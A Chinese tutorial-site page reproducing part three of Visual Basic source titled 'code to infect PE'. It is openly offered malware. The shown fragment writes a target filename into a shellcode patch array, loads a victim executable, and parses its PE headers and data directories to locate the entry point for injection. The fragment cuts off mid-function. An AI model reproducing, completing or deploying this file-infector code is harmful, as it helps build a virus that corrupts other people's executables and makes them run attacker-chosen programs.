免费教程_免费网赚教程_破解版软件-寂涯网络学习基地

当前位置: 主页 > 系统综合 > 系统安全 > 感染 PE 的代码--vb(3)

感染 PE 的代码--vb(3)

时间:2011-10-25 20:11来源:未知 整理:寂涯网络 点击:


               For j = 1 To Len(strRunFile)
                   
                    PatchCode(108 + j) = "&H" & Hex(Asc(Mid(strRunFile, j, 1)))
                   
               Next
              
               If Len(strRunFile) <> 4 Then PatchCode(110 + Len(strRunFile)) = &H0

    ElseIf Len(strRunFile) = 4 Then
        
         For i = 1 To 4

               PatchCode(113 + i) = "&H" & Hex(Asc(Mid(strRunFile, i, 1)))
              
               PatchCode(109) = &H0
     
         Next
        
    Else
       
         For i = 1 To Len(strRunFile)
              
               PatchCode(113 + i) = "&H" & Hex(Asc(Mid(strRunFile, i, 1)))
              
         Next
        
         PatchCode(114 + Len(strRunFile)) = &H0
        
End If

''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''修改Shellcode完毕,累死我了调试了N次,光发晕

ReDim PE(FileLen(strTargetFile) - 1)  '重定义PE的大小
   
Open strTargetFile For Binary As #1  '读取PE
Get #1, , PE
Close #1
   

e_lfanew = ReadDword(&H3C&)

NumberOfSections = ReadWord(e_lfanew + 6)
   
   
SizeOfOptionalHeader = ReadWord(e_lfanew + &H14&)
   
AddressOfEntryPoint = ReadWord(e_lfanew + &H28&) '原入口点

If SizeOfOptionalHeader >= &H60& Then
        NumberOfRvaAndSizes = ReadDword(e_lfanew + &H74&)
   Else
        NumberOfRvaAndSizes = 0
End If
   
If NumberOfRvaAndSizes > 16 Then NumberOfRvaAndSizes = 16

If NumberOfRvaAndSizes > (SizeOfOptionalHeader - &H60&) \ 8 Then NumberOfRvaAndSizes = (SizeOfOptionalHeader - &H60&) \ 8

NumberOfRvaAndSizes = NumberOfRvaAndSizes - 1
   
EncStart = 0: EncEnd = &H7FFFFFFF
    For i = 0 To NumberOfRvaAndSizes
        p = ReadDword(e_lfanew + &H78& + i * 8)
        q = p + ReadDword(e_lfanew + &H7C& + i * 8)
       
        If p < 0 Or p > q Then
            Exit Function
        ElseIf p < AddressOfEntryPoint And q < AddressOfEntryPoint Then

本页地址 http://www.jybase.net/xitonganquan/20111025395.html

百度搜索更多

谷歌搜索更多

顶一下
(0)
0%
踩一下
(0)
0%
------分隔线----------------------------

评价:
昵称: 验证码:点击我更换图片
推荐内容
赞助商
赞助商


关于本站免责声明视频更新google百度地图视频地图RRS订阅

如有什么问题请在本站留言,或发邮件到 hxt167#foxmail.com